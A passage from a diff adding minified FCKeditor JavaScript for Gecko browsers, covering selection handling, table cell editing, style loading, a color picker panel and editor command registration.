(A[i].getAttribute('FCKTempLabel')){A[i].removeAttribute('FCKTempLabel');return A[i];}};return null;};
+FCK._BaseGetNamedCommandState=FCK.GetNamedCommandState;FCK.GetNamedCommandState=function(A){switch (A){case 'Unlink':return FCKSelection.HasAncestorNode('A')?FCK_TRISTATE_OFF:FCK_TRISTATE_DISABLED;default:return FCK._BaseGetNamedCommandState(A);}};FCK.RedirectNamedCommands={Print:true,Paste:true,Cut:true,Copy:true};FCK.ExecuteRedirectedNamedCommand=function(A,B){switch (A){case 'Print':FCK.EditorWindow.print();break;case 'Paste':try			{ if (FCK.Paste()) FCK.ExecuteNamedCommand('Paste',null,true);}catch (e)	{ alert(FCKLang.PasteErrorPaste);};break;case 'Cut':try			{ FCK.ExecuteNamedCommand('Cut',null,true);}catch (e)	{ alert(FCKLang.PasteErrorCut);};break;case 'Copy':try			{ FCK.ExecuteNamedCommand('Copy',null,true);}catch (e)	{ alert(FCKLang.PasteErrorCopy);};break;default:FCK.ExecuteNamedCommand(A,B);}};FCK.AttachToOnSelectionChange=function(A){this.Events.AttachEvent('OnSelectionChange',A);};FCK.Paste=function(){if (FCKConfig.ForcePasteAsPlainText){FCK.PasteAsPlainText();return false;}else return true;};FCK.InsertHtml=function(A){A=FCKConfig.ProtectedSource.Protect(A);A=FCK.ProtectUrls(A);var B=FCKSelection.Delete();var C=B.getRangeAt(0);var D=C.createContextualFragment(A);var E=D.lastChild;C.insertNode(D);FCKSelection.SelectNode(E);FCKSelection.Collapse(false);this.Focus();};FCK.InsertElement=function(A){var B=FCKSelection.Delete();var C=B.getRangeAt(0);C.insertNode(A);FCKSelection.SelectNode(A);FCKSelection.Collapse(false);this.Focus();};FCK.PasteAsPlainText=function(){FCKDialog.OpenDialog('FCKDialog_Paste',FCKLang.PasteAsText,'dialog/fck_paste.html',400,330,'PlainText');};FCK.GetClipboardHTML=function(){return '';};FCK.CreateLink=function(A){FCK.ExecuteNamedCommand('Unlink');if (A.length>0){var B='javascript:void(0);/*'+(new Date().getTime())+'*/';FCK.ExecuteNamedCommand('CreateLink',B);var C=document.evaluate("//a[@href='"+B+"']",this.EditorDocument.body,null,9,null).singleNodeValue;if (C){C.href=A;return C;}}};
+var FCKSelection=FCK.Selection=new Object();
+FCKSelection.GetType=function(){this._Type='Text';var A;try { A=FCK.EditorWindow.getSelection();}catch (e) {};if (A&&A.rangeCount==1){var B=A.getRangeAt(0);if (B.startContainer==B.endContainer&&(B.endOffset-B.startOffset)==1&&B.startContainer.nodeType!=Node.TEXT_NODE) this._Type='Control';};return this._Type;};FCKSelection.GetSelectedElement=function(){if (this.GetType()=='Control'){var A=FCK.EditorWindow.getSelection();return A.anchorNode.childNodes[A.anchorOffset];}};FCKSelection.GetParentElement=function(){if (this.GetType()=='Control') return FCKSelection.GetSelectedElement().parentNode;else{var A=FCK.EditorWindow.getSelection();if (A){var B=A.anchorNode;while (B&&B.nodeType!=1) B=B.parentNode;return B;}}};FCKSelection.SelectNode=function(A){var B=FCK.EditorDocument.createRange();B.selectNode(A);var C=FCK.EditorWindow.getSelection();C.removeAllRanges();C.addRange(B);};FCKSelection.Collapse=function(A){var B=FCK.EditorWindow.getSelection();if (A==null||A===true) B.collapseToStart();else B.collapseToEnd();};FCKSelection.HasAncestorNode=function(A){var B=this.GetSelectedElement();if (!B&&FCK.EditorWindow){try		{ B=FCK.EditorWindow.getSelection().getRangeAt(0).startContainer;}catch(e){}};while (B){if (B.nodeType==1&&B.tagName==A) return true;B=B.parentNode;};return false;};FCKSelection.MoveToAncestorNode=function(A){var B;var C=this.GetSelectedElement();if (!C) C=FCK.EditorWindow.getSelection().getRangeAt(0).startContainer;while (C){if (C.tagName==A) return C;C=C.parentNode;};return null;};FCKSelection.Delete=function(){var A=FCK.EditorWindow.getSelection();for (var i=0;i<A.rangeCount;i++){A.getRangeAt(i).deleteContents();};return A;};
+var FCKTableHandler=new Object();FCKTableHandler.InsertRow=function(){var A=FCKSelection.MoveToAncestorNode("TR");if (!A) return;var B=A.cloneNode(true);A.parentNode.insertBefore(B,A);FCKTableHandler.ClearRow(A);};FCKTableHandler.DeleteRows=function(A){if (!A) A=FCKSelection.MoveToAncestorNode("TR");if (!A) return;var B=FCKTools.GetElementAscensor(A,'TABLE');if (B.rows.length==1){FCKTableHandler.DeleteTable(B);return;};A.parentNode.removeChild(A);};FCKTableHandler.DeleteTable=function(A){if (!A){var A=FCKSelection.GetSelectedElement();if (!A||A.tagName!='TABLE') A=FCKSelection.MoveToAncestorNode("TABLE");};if (!A) return;FCKSelection.SelectNode(A);FCKSelection.Collapse();A.parentNode.removeChild(A);};FCKTableHandler.InsertColumn=function(){var A=FCKSelection.MoveToAncestorNode("TD");if (!A) A=FCKSelection.MoveToAncestorNode("TH");if (!A) return;var B=FCKTools.GetElementAscensor(A,'TABLE');var C=A.cellIndex+1;for (var i=0;i<B.rows.length;i++){var D=B.rows[i];if (D.cells.length<C) continue;A=D.cells[C-1].cloneNode(false);if (FCKBrowserInfo.IsGecko) A.innerHTML=GECKO_BOGUS;var E=D.cells[C];if (E) D.insertBefore(A,E);else D.appendChild(A);}};FCKTableHandler.DeleteColumns=function(){var A=FCKSelection.MoveToAncestorNode('TD')||FCKSelection.MoveToAncestorNode('TH');if (!A) return;var B=FCKTools.GetElementAscensor(A,'TABLE');var C=A.cellIndex;for (var i=B.rows.length-1;i>=0;i--){var D=B.rows[i];if (C==0&&D.cells.length==1){FCKTableHandler.DeleteRows(D);continue;};if (D.cells[C]) D.removeChild(D.cells[C]);}};FCKTableHandler.InsertCell=function(A){var B=A?A:FCKSelection.MoveToAncestorNode("TD");if (!B) return;var C=FCK.EditorDocument.createElement("TD");if (FCKBrowserInfo.IsGecko) C.innerHTML=GECKO_BOGUS;if (B.cellIndex==B.parentNode.cells.length-1){B.parentNode.appendChild(C);}else{B.parentNode.insertBefore(C,B.nextSibling);};return C;};FCKTableHandler.DeleteCell=function(A){if (A.parentNode.cells.length==1){FCKTableHandler.DeleteRows(FCKTools.GetElementAscensor(A,'TR'));return;};A.parentNode.removeChild(A);};FCKTableHandler.DeleteCells=function(){var A=FCKTableHandler.GetSelectedCells();for (var i=A.length-1;i>=0;i--){FCKTableHandler.DeleteCell(A[i]);}};FCKTableHandler.MergeCells=function(){var A=FCKTableHandler.GetSelectedCells();if (A.length<2) return;if (A[0].parentNode!=A[A.length-1].parentNode) return;var B=isNaN(A[0].colSpan)?1:A[0].colSpan;var C='';var D=FCK.EditorDocument.createDocumentFragment();for (var i=A.length-1;i>=0;i--){var E=A[i];for (var c=E.childNodes.length-1;c>=0;c--){var F=E.removeChild(E.childNodes[c]);if ((F.hasAttribute&&F.hasAttribute('_moz_editor_bogus_node'))||(F.getAttribute&&F.getAttribute('type',2)=='_moz')) continue;D.insertBefore(F,D.firstChild);};if (i>0){B+=isNaN(E.colSpan)?1:E.colSpan;FCKTableHandler.DeleteCell(E);}};A[0].colSpan=B;if (FCKBrowserInfo.IsGecko&&D.childNodes.length==0) A[0].innerHTML=GECKO_BOGUS;else A[0].appendChild(D);};FCKTableHandler.SplitCell=function(){var A=FCKTableHandler.GetSelectedCells();if (A.length!=1) return;var B=this._CreateTableMap(A[0].parentNode.parentNode);var C=FCKTableHandler._GetCellIndexSpan(B,A[0].parentNode.rowIndex,A[0]);var D=this._GetCollumnCells(B,C);for (var i=0;i<D.length;i++){if (D[i]==A[0]){var E=this.InsertCell(A[0]);if (!isNaN(A[0].rowSpan)&&A[0].rowSpan>1) E.rowSpan=A[0].rowSpan;}else{if (isNaN(D[i].colSpan)) D[i].colSpan=2;else D[i].colSpan+=1;}}};FCKTableHandler._GetCellIndexSpan=function(A,B,C){if (A.length<B+1) return null;var D=A[B];for (var c=0;c<D.length;c++){if (D[c]==C) return c;};return null;};FCKTableHandler._GetCollumnCells=function(A,B){var C=new Array();for (var r=0;r<A.length;r++){var D=A[r][B];if (D&&(C.length==0||C[C.length-1]!=D)) C[C.length]=D;};return C;};FCKTableHandler._CreateTableMap=function(A){var B=A.rows;var r=-1;var C=new Array();for (var i=0;i<B.length;i++){r++;if (!C[r]) C[r]=new Array();var c=-1;for (var j=0;j<B[i].cells.length;j++){var D=B[i].cells[j];c++;while (C[r][c]) c++;var E=isNaN(D.colSpan)?1:D.colSpan;var F=isNaN(D.rowSpan)?1:D.rowSpan;for (var G=0;G<F;G++){if (!C[r+G]) C[r+G]=new Array();for (var H=0;H<E;H++){C[r+G][c+H]=B[i].cells[j];}};c+=E-1;}};return C;};FCKTableHandler.ClearRow=function(A){var B=A.cells;for (var i=0;i<B.length;i++){if (FCKBrowserInfo.IsGecko) B[i].innerHTML=GECKO_BOGUS;else B[i].innerHTML='';}};
+FCKTableHandler.GetSelectedCells=function(){var A=new Array();var B=FCK.EditorWindow.getSelection();if (B.rangeCount==1&&B.anchorNode.nodeType==3){var C=FCKTools.GetElementAscensor(B.anchorNode,'TD,TH');if (C){A[0]=C;return A;}};for (var i=0;i<B.rangeCount;i++){var D=B.getRangeAt(i);var E;if (D.startContainer.tagName.Equals('TD','TH')) E=D.startContainer;else E=D.startContainer.childNodes[D.startOffset];if (E.tagName.Equals('TD','TH')) A[A.length]=E;};return A;};
+var FCKXml=function(){};FCKXml.prototype.LoadUrl=function(A){var B=this;var C=FCKTools.CreateXmlObject('XmlHttp');C.open("GET",A,false);C.send(null);if (C.status==200||C.status==304) this.DOMDocument=C.responseXML;else if (C.status==0&&C.readyState==4) this.DOMDocument=C.responseXML;else alert('Error loading "'+A+'"');};FCKXml.prototype.SelectNodes=function(A,B){var C=new Array();var D=this.DOMDocument.evaluate(A,B?B:this.DOMDocument,this.DOMDocument.createNSResolver(this.DOMDocument.documentElement),XPathResult.ORDERED_NODE_ITERATOR_TYPE,null);if (D){var E=D.iterateNext();while(E){C[C.length]=E;E=D.iterateNext();}};return C;};FCKXml.prototype.SelectSingleNode=function(A,B){var C=this.DOMDocument.evaluate(A,B?B:this.DOMDocument,this.DOMDocument.createNSResolver(this.DOMDocument.documentElement),9,null);if (C&&C.singleNodeValue) return C.singleNodeValue;else return null;}
+var FCKStyleDef=function(A,B){this.Name=A;this.Element=B.toUpperCase();this.IsObjectElement=FCKRegexLib.ObjectElements.test(this.Element);this.Attributes=new Object();};FCKStyleDef.prototype.AddAttribute=function(A,B){this.Attributes[A]=B;};FCKStyleDef.prototype.GetOpenerTag=function(){var s='<'+this.Element;for (var a in this.Attributes) s+=' '+a+'="'+this.Attributes[a]+'"';return s+'>';};FCKStyleDef.prototype.GetCloserTag=function(){return '</'+this.Element+'>';};FCKStyleDef.prototype.RemoveFromSelection=function(){if (FCKSelection.GetType()=='Control') this._RemoveMe(FCK.ToolbarSet.CurrentInstance.Selection.GetSelectedElement());else this._RemoveMe(FCK.ToolbarSet.CurrentInstance.Selection.GetParentElement());}
+FCKStyleDef.prototype.ApplyToSelection=function(){if (FCKSelection.GetType()=='Text'&&!this.IsObjectElement){var A=FCK.ToolbarSet.CurrentInstance.EditorWindow.getSelection();var e=FCK.ToolbarSet.CurrentInstance.EditorDocument.createElement(this.Element);for (var i=0;i<A.rangeCount;i++){e.appendChild(A.getRangeAt(i).extractContents());};this._AddAttributes(e);this._RemoveDuplicates(e);var B=A.getRangeAt(0);B.insertNode(e);}else{var C=FCK.ToolbarSet.CurrentInstance.Selection.GetSelectedElement();if (C.tagName==this.Element) this._AddAttributes(C);}};FCKStyleDef.prototype._AddAttributes=function(A){for (var a in this.Attributes){switch (a.toLowerCase()){case 'src':A.setAttribute('_fcksavedurl',this.Attributes[a],0);default:A.setAttribute(a,this.Attributes[a],0);}}};FCKStyleDef.prototype._RemoveDuplicates=function(A){for (var i=0;i<A.childNodes.length;i++){var B=A.childNodes[i];if (B.nodeType!=1) continue;this._RemoveDuplicates(B);if (this.IsEqual(B)) FCKTools.RemoveOuterTags(B);}};FCKStyleDef.prototype.IsEqual=function(e){if (e.tagName!=this.Element) return false;for (var a in this.Attributes){if (e.getAttribute(a)!=this.Attributes[a]) return false;};return true;};FCKStyleDef.prototype._RemoveMe=function(A){if (!A) return;var B=A.parentNode;if (A.nodeType==1&&this.IsEqual(A)){if (this.IsObjectElement){for (var a in this.Attributes) A.removeAttribute(a,0);return;}else FCKTools.RemoveOuterTags(A);};this._RemoveMe(B);}
+var FCKStylesLoader=function(){this.Styles=new Object();this.StyleGroups=new Object();this.Loaded=false;this.HasObjectElements=false;};FCKStylesLoader.prototype.Load=function(A){var B=new FCKXml();B.LoadUrl(A);var C=B.SelectNodes('Styles/Style');for (var i=0;i<C.length;i++){var D=C[i].attributes.getNamedItem('element').value.toUpperCase();var E=new FCKStyleDef(C[i].attributes.getNamedItem('name').value,D);if (E.IsObjectElement) this.HasObjectElements=true;var F=B.SelectNodes('Attribute',C[i]);for (var j=0;j<F.length;j++){var G=F[j].attributes.getNamedItem('name').value;var H=F[j].attributes.getNamedItem('value').value;if (G.toLowerCase()=='style'){var I=document.createElement('SPAN');I.style.cssText=H;H=I.style.cssText;};E.AddAttribute(G,H);};this.Styles[E.Name]=E;var J=this.StyleGroups[D];if (J==null){this.StyleGroups[D]=new Array();J=this.StyleGroups[D];};J[J.length]=E;};this.Loaded=true;}
+var FCKNamedCommand=function(A){this.Name=A;};FCKNamedCommand.prototype.Execute=function(){FCK.ExecuteNamedCommand(this.Name);};FCKNamedCommand.prototype.GetState=function(){return FCK.GetNamedCommandState(this.Name);};
+var FCKDialogCommand=function(A,B,C,D,E,F,G){this.Name=A;this.Title=B;this.Url=C;this.Width=D;this.Height=E;this.GetStateFunction=F;this.GetStateParam=G;};FCKDialogCommand.prototype.Execute=function(){FCKDialog.OpenDialog('FCKDialog_'+this.Name,this.Title,this.Url,this.Width,this.Height);};FCKDialogCommand.prototype.GetState=function(){if (this.GetStateFunction) return this.GetStateFunction(this.GetStateParam);else return FCK_TRISTATE_OFF;};var FCKUndefinedCommand=function(){this.Name='Undefined';};FCKUndefinedCommand.prototype.Execute=function(){alert(FCKLang.NotImplemented);};FCKUndefinedCommand.prototype.GetState=function(){return FCK_TRISTATE_OFF;};var FCKFontNameCommand=function(){this.Name='FontName';};FCKFontNameCommand.prototype.Execute=function(A){if (A==null||A==""){}else FCK.ExecuteNamedCommand('FontName',A);};FCKFontNameCommand.prototype.GetState=function(){return FCK.GetNamedCommandValue('FontName');};var FCKFontSizeCommand=function(){this.Name='FontSize';};FCKFontSizeCommand.prototype.Execute=function(A){if (typeof(A)=='string') A=parseInt(A);if (A==null||A==''){FCK.ExecuteNamedCommand('FontSize',3);}else FCK.ExecuteNamedCommand('FontSize',A);};FCKFontSizeCommand.prototype.GetState=function(){return FCK.GetNamedCommandValue('FontSize');};var FCKFormatBlockCommand=function(){this.Name='FormatBlock';};FCKFormatBlockCommand.prototype.Execute=function(A){if (A==null||A=='') FCK.ExecuteNamedCommand('FormatBlock','<P>');else if (A=='div'&&FCKBrowserInfo.IsGecko) FCK.ExecuteNamedCommand('FormatBlock','div');else FCK.ExecuteNamedCommand('FormatBlock','<'+A+'>');};FCKFormatBlockCommand.prototype.GetState=function(){return FCK.GetNamedCommandValue('FormatBlock');};var FCKPreviewCommand=function(){this.Name='Preview';};FCKPreviewCommand.prototype.Execute=function(){FCK.Preview();};FCKPreviewCommand.prototype.GetState=function(){return FCK_TRISTATE_OFF;};var FCKSaveCommand=function(){this.Name='Save';};FCKSaveCommand.prototype.Execute=function(){var A=FCK.LinkedField.form;if (typeof(A.onsubmit)=='function'){var B=A.onsubmit();if (B!=null&&B===false) return;};A.submit();};FCKSaveCommand.prototype.GetState=function(){return FCK_TRISTATE_OFF;};var FCKNewPageCommand=function(){this.Name='NewPage';};FCKNewPageCommand.prototype.Execute=function(){FCKUndo.SaveUndoStep();FCK.SetHTML('');FCKUndo.Typing=true;};FCKNewPageCommand.prototype.GetState=function(){return FCK_TRISTATE_OFF;};var FCKSourceCommand=function(){this.Name='Source';};FCKSourceCommand.prototype.Execute=function(){if (FCKConfig.SourcePopup){var A=FCKConfig.ScreenWidth*0.65;var B=FCKConfig.ScreenHeight*0.65;FCKDialog.OpenDialog('FCKDialog_Source',FCKLang.Source,'dialog/fck_source.html',A,B,null,null,true);}else FCK.SwitchEditMode();};FCKSourceCommand.prototype.GetState=function(){return (FCK.EditMode==FCK_EDITMODE_WYSIWYG?FCK_TRISTATE_OFF:FCK_TRISTATE_ON);};var FCKUndoCommand=function(){this.Name='Undo';};FCKUndoCommand.prototype.Execute=function(){if (FCKBrowserInfo.IsIE) FCKUndo.Undo();else FCK.ExecuteNamedCommand('Undo');};FCKUndoCommand.prototype.GetState=function(){if (FCKBrowserInfo.IsIE) return (FCKUndo.CheckUndoState()?FCK_TRISTATE_OFF:FCK_TRISTATE_DISABLED);else return FCK.GetNamedCommandState('Undo');};var FCKRedoCommand=function(){this.Name='Redo';};FCKRedoCommand.prototype.Execute=function(){if (FCKBrowserInfo.IsIE) FCKUndo.Redo();else FCK.ExecuteNamedCommand('Redo');};FCKRedoCommand.prototype.GetState=function(){if (FCKBrowserInfo.IsIE) return (FCKUndo.CheckRedoState()?FCK_TRISTATE_OFF:FCK_TRISTATE_DISABLED);else return FCK.GetNamedCommandState('Redo');};var FCKPageBreakCommand=function(){this.Name='PageBreak';};FCKPageBreakCommand.prototype.Execute=function(){var e=FCK.EditorDocument.createElement('DIV');e.style.pageBreakAfter='always';e.innerHTML='<span style="DISPLAY:none">&nbsp;</span>';var A=FCKDocumentProcessor_CreateFakeImage('FCK__PageBreak',e);A=FCK.InsertElement(A);};FCKPageBreakCommand.prototype.GetState=function(){return 0;};var FCKUnlinkCommand=function(){this.Name='Unlink';};FCKUnlinkCommand.prototype.Execute=function(){if (FCKBrowserInfo.IsGecko){var A=FCK.Selection.MoveToAncestorNode('A');if (A) FCK.Selection.SelectNode(A);};FCK.ExecuteNamedCommand(this.Name);if (FCKBrowserInfo.IsGecko) FCK.Selection.Collapse(true);};FCKUnlinkCommand.prototype.GetState=function(){return FCK.GetNamedCommandState(this.Name);}
+var FCKSpellCheckCommand=function(){this.Name='SpellCheck';this.IsEnabled=(FCKConfig.SpellChecker=='SpellerPages');};FCKSpellCheckCommand.prototype.Execute=function(){FCKDialog.OpenDialog('FCKDialog_SpellCheck','Spell Check','dialog/fck_spellerpages.html',440,480);};FCKSpellCheckCommand.prototype.GetState=function(){return this.IsEnabled?FCK_TRISTATE_OFF:FCK_TRISTATE_DISABLED;}
+var FCKTextColorCommand=function(A){this.Name=A=='ForeColor'?'TextColor':'BGColor';this.Type=A;var B;if (FCKBrowserInfo.IsIE) B=window;else if (FCK.ToolbarSet._IFrame) B=FCKTools.GetElementWindow(FCK.ToolbarSet._IFrame);else B=window.parent;this._Panel=new FCKPanel(B,true);this._Panel.AppendStyleSheet(FCKConfig.SkinPath+'fck_editor.css');this._Panel.MainNode.className='FCK_Panel';this._CreatePanelBody(this._Panel.Document,this._Panel.MainNode);FCKTools.DisableSelection(this._Panel.Document.body);};FCKTextColorCommand.prototype.Execute=function(A,B,C){FCK._ActiveColorPanelType=this.Type;this._Panel.Show(A,B,C);};FCKTextColorCommand.prototype.SetColor=function(A){if (FCK._ActiveColorPanelType=='ForeColor') FCK.ExecuteNamedCommand('ForeColor',A);else if (FCKBrowserInfo.IsGeckoLike){if (FCKBrowserInfo.IsGecko&&!FCKConfig.GeckoUseSPAN) FCK.EditorDocument.execCommand('useCSS',false,false);FCK.ExecuteNamedCommand('hilitecolor',A);if (FCKBrowserInfo.IsGecko&&!FCKConfig.GeckoUseSPAN) FCK.EditorDocument.execCommand('useCSS',false,true);}else FCK.ExecuteNamedCommand('BackColor',A);delete FCK._ActiveColorPanelType;};FCKTextColorCommand.prototype.GetState=function(){return FCK_TRISTATE_OFF;};function FCKTextColorCommand_OnMouseOver()	{ this.className='ColorSelected';};function FCKTextColorCommand_OnMouseOut()	{ this.className='ColorDeselected';};function FCKTextColorCommand_OnClick(){this.className='ColorDeselected';this.Command.SetColor('#'+this.Color);this.Command._Panel.Hide();};function FCKTextColorCommand_AutoOnClick(){this.className='ColorDeselected';this.Command.SetColor('');this.Command._Panel.Hide();};function FCKTextColorCommand_MoreOnClick(){this.className='ColorDeselected';this.Command._Panel.Hide();FCKDialog.OpenDialog('FCKDialog_Color',FCKLang.DlgColorTitle,'dialog/fck_colorselector.html',400,330,this.Command.SetColor);};FCKTextColorCommand.prototype._CreatePanelBody=function(A,B){function CreateSelectionDiv(){var C=A.createElement("DIV");C.className='ColorDeselected';C.onmouseover=FCKTextColorCommand_OnMouseOver;C.onmouseout=FCKTextColorCommand_OnMouseOut;return C;};var D=B.appendChild(A.createElement("TABLE"));D.className='ForceBaseFont';D.style.tableLayout='fixed';D.cellPadding=0;D.cellSpacing=0;D.border=0;D.width=150;var E=D.insertRow(-1).insertCell(-1);E.colSpan=8;var C=E.appendChild(CreateSelectionDiv());C.innerHTML='<table cellspacing="0" cellpadding="0" width="100%" border="0">\<tr>\<td><div class="ColorBoxBorder"><div class="ColorBox" style="background-color: #000000"></div></div></td>\<td nowrap width="100%" align="center">' + FCKLang.ColorAutomatic + '</td>\</tr>\</table>';C.Command=this;C.onclick=FCKTextColorCommand_AutoOnClick;var G=FCKConfig.FontColors.toString().split(',');var H=0;while (H<G.length){var I=D.insertRow(-1);for (var i=0;i<8&&H<G.length;i++,H++){C=I.insertCell(-1).appendChild(CreateSelectionDiv());C.Color=G[H];C.innerHTML='<div class="ColorBoxBorder"><div class="ColorBox" style="background-color: #'+G[H]+'"></div></div>';C.Command=this;C.onclick=FCKTextColorCommand_OnClick;}};E=D.insertRow(-1).insertCell(-1);E.colSpan=8;C=E.appendChild(CreateSelectionDiv());C.innerHTML='<table width="100%" cellpadding="0" cellspacing="0" border="0"><tr><td nowrap align="center">'+FCKLang.ColorMoreColors+'</td></tr></table>';C.Command=this;C.onclick=FCKTextColorCommand_MoreOnClick;}
+var FCKPastePlainTextCommand=function(){this.Name='PasteText';};FCKPastePlainTextCommand.prototype.Execute=function(){FCK.PasteAsPlainText();};FCKPastePlainTextCommand.prototype.GetState=function(){return FCK.GetNamedCommandState('Paste');};
+var FCKPasteWordCommand=function(){this.Name='PasteWord';};FCKPasteWordCommand.prototype.Execute=function(){FCK.PasteFromWord();};FCKPasteWordCommand.prototype.GetState=function(){if (FCKConfig.ForcePasteAsPlainText) return FCK_TRISTATE_DISABLED;else return FCK.GetNamedCommandState('Paste');};
+var FCKTableCommand=function(A){this.Name=A;};FCKTableCommand.prototype.Execute=function(){FCKUndo.SaveUndoStep();switch (this.Name){case 'TableInsertRow':FCKTableHandler.InsertRow();break;case 'TableDeleteRows':FCKTableHandler.DeleteRows();break;case 'TableInsertColumn':FCKTableHandler.InsertColumn();break;case 'TableDeleteColumns':FCKTableHandler.DeleteColumns();break;case 'TableInsertCell':FCKTableHandler.InsertCell();break;case 'TableDeleteCells':FCKTableHandler.DeleteCells();break;case 'TableMergeCells':FCKTableHandler.MergeCells();break;case 'TableSplitCell':FCKTableHandler.SplitCell();break;case 'TableDelete':FCKTableHandler.DeleteTable();break;default:alert(FCKLang.UnknownCommand.replace(/%1/g,this.Name));}};FCKTableCommand.prototype.GetState=function(){return FCK_TRISTATE_OFF;}
+var FCKStyleCommand=function(){this.Name='Style';this.StylesLoader=new FCKStylesLoader();this.StylesLoader.Load(FCKConfig.StylesXmlPath);this.Styles=this.StylesLoader.Styles;};FCKStyleCommand.prototype.Execute=function(A,B){FCKUndo.SaveUndoStep();if (B.Selected) B.Style.RemoveFromSelection();else B.Style.ApplyToSelection();FCKUndo.SaveUndoStep();FCK.Focus();FCK.Events.FireEvent("OnSelectionChange");};FCKStyleCommand.prototype.GetState=function(){if (!FCK.EditorDocument) return FCK_TRISTATE_DISABLED;var A=FCK.EditorDocument.selection;if (FCKSelection.GetType()=='Control'){var e=FCKSelection.GetSelectedElement();if (e) return this.StylesLoader.StyleGroups[e.tagName]?FCK_TRISTATE_OFF:FCK_TRISTATE_DISABLED;};return FCK_TRISTATE_OFF;};FCKStyleCommand.prototype.GetActiveStyles=function(){var A=new Array();if (FCKSelection.GetType()=='Control') this._CheckStyle(FCKSelection.GetSelectedElement(),A,false);else this._CheckStyle(FCKSelection.GetParentElement(),A,true);return A;};FCKStyleCommand.prototype._CheckStyle=function(A,B,C){if (!A) return;if (A.nodeType==1){var D=this.StylesLoader.StyleGroups[A.tagName];if (D){for (var i=0;i<D.length;i++){if (D[i].IsEqual(A)) B[B.length]=D[i];}}};if (C) this._CheckStyle(A.parentNode,B,C);}
+var FCKFitWindow=function(){this.Name='FitWindow';};FCKFitWindow.prototype.Execute=function(){var A=window.frameElement;var B=A.style;var C=parent;var D=C.document.documentElement;var E=C.document.body;var F=E.style;if (!this.IsMaximized){if(FCKBrowserInfo.IsIE) C.attachEvent('onresize',FCKFitWindow_Resize);else C.addEventListener('resize',FCKFitWindow_Resize,true);this._ScrollPos=FCKTools.GetScrollPosition(C);var G=A;while(G=G.parentNode){if (G.nodeType==1) G._fckSavedStyles=FCKTools.SaveStyles(G);};if (FCKBrowserInfo.IsIE){this.documentElementOverflow=D.style.overflow;D.style.overflow='hidden';F.overflow='hidden';}else{F.overflow='hidden';F.width='0px';F.height='0px';};this._EditorFrameStyles=FCKTools.SaveStyles(A);var H=FCKTools.GetViewPaneSize(C);B.position="absolute";B.zIndex=FCKConfig.FloatingPanelsZIndex-1;B.left="0px";B.top="0px";B.width=H.Width+"px";B.height=H.Height+"px";if (!FCKBrowserInfo.IsIE){B.borderRight=B.borderBottom="9999px solid white";B.backgroundColor="white";};C.scrollTo(0,0);this.IsMaximized=true;}else{if(FCKBrowserInfo.IsIE) C.detachEvent("onresize",FCKFitWindow_Resize);else C.removeEventListener("resize",FCKFitWindow_Resize,true);var G=A;while(G=G.parentNode){if (G._fckSavedStyles){FCKTools.RestoreStyles(G,G._fckSavedStyles);G._fckSavedStyles=null;}};if (FCKBrowserInfo.IsIE) D.style.overflow=this.documentElementOverflow;FCKTools.RestoreStyles(A,this._EditorFrameStyles);C.scrollTo(this._ScrollPos.X,this._ScrollPos.Y);this.IsMaximized=false;};FCKToolbarItems.GetItem('FitWindow').RefreshState();FCK.EditingArea.MakeEditable();FCK.Focus();};FCKFitWindow.prototype.GetState=function(){if (FCKConfig.ToolbarLocation!='In') return FCK_TRISTATE_DISABLED;else return (this.IsMaximized?FCK_TRISTATE_ON:FCK_TRISTATE_OFF);};function FCKFitWindow_Resize(){var oViewPaneSize=FCKTools.GetViewPaneSize(parent);var eEditorFrameStyle=window.frameElement.style;eEditorFrameStyle.width=oViewPaneSize.Width+'px';eEditorFrameStyle.height=oViewPaneSize.Height+'px';};
+var FCKCommands=FCK.Commands=new Object();FCKCommands.LoadedCommands=new Object();FCKCommands.RegisterCommand=function(A,B){this.LoadedCommands[A]=B;};FCKCommands.GetCommand=function(A){var B=FCKCommands.LoadedCommands[A];if (B) return B;switch (A){case 'DocProps':B=new FCKDialogCommand('DocProps',FCKLang.DocProps,'dialog/fck_docprops.html',400,390,FCKCommands.GetFullPageState);break;case 'Templates':B=new FCKDialogCommand('Templates',FCKLang.DlgTemplatesTitle,'dialog/fck_template.html',380,450);break;case 'Link':B=new FCKDialogCommand('Link',FCKLang.DlgLnkWindowTitle,'dialog/fck_link.html',400,330,FCK.GetNamedCommandState,'CreateLink');break;case 'Unlink':B=new FCKUnlinkCommand();break;case 'Anchor':B=new FCKDialogCommand('Anchor',FCKLang.DlgAnchorTitle,'dialog/fck_anchor.html',370,170);break;case 'BulletedList':B=new FCKDialogCommand('BulletedList',FCKLang.BulletedListProp,'dialog/fck_listprop.html',370,170);break;case 'NumberedList':B=new FCKDialogCommand('NumberedList',FCKLang.NumberedListProp,'dialog/fck_listprop.html',370,170);break;case 'About':B=new FCKDialogCommand('About',FCKLang.About,'dialog/fck_about.html',400,330);break;case 'Find':B=new FCKDialogCommand('Find',FCKLang.DlgFindTitle,'dialog/fck_find.html',340,170);break;case 'Replace':B=new FCKDialogCommand('Replace',FCKLang.DlgReplaceTitle,'dialog/fck_replace.html',340,200);break;case 'Image':B=new FCKDialogCommand('Image',FCKLang.DlgImgTitle,'dialog/fck_image.html',450,400);break;case 'Flash':B=new FCKDialogCommand('Flash',FCKLang.DlgFlashTitle,'dialog/fck_flash.html',450,400);break;case 'SpecialChar':B=new FCKDialogCommand('SpecialChar',FCKLang.DlgSpecialCharTitle,'dialog/fck_specialchar.html',400,320);break;case 'Smiley':B=new FCKDialogCommand('Smiley',FCKLang.DlgSmileyTitle,'dialog/fck_smiley.html',FCKConfig.SmileyWindowWidth,FCKConfig.SmileyWindowHeight);break;case 'Table':B=new FCKDialogCommand('Table',FCKLang.DlgTableTitle,'dialog/fck_table.html',450,250);break;case 'TableProp':B=new FCKDialogCommand('Table',FCKLang.DlgTableTitle,'dialog/fck_table.html?Parent',400,250);break;case 'TableCellProp':B=new FCKDialogCommand('TableCell',FCKLang.DlgCellTitle,'dialog/fck_tablecell.html',550,250);break;case 'UniversalKey':B=new FCKDialogCommand('UniversalKey',FCKLang.UniversalKeyboard,'dialog/fck_universalkey.html',415,300);break;case 'Style':B=new FCKStyleCommand();break;case 'FontName':B=new FCKFontNameCommand();break;case 'FontSize':B=new FCKFontSizeCommand();break;case 'FontFormat':B=new FCKFormatBlockCommand();break;case 'Source':B=new FCKSourceCommand();break;case 'Preview':B=new FCKPreviewCommand();break;case 'Save':B=new FCKSaveCommand();break;case 'NewPage':B=new FCKNewPageCommand();break;case 'PageBreak':B=new FCKPageBreakCommand();break;case 'TextColor':B=new FCKTextColorCommand('ForeColor');break;case 'BGColor':B=new FCKTextColorCommand('BackColor');break;case 'PasteText':B=new FCKPastePlainTextCommand();break;case 'PasteWord':B=new 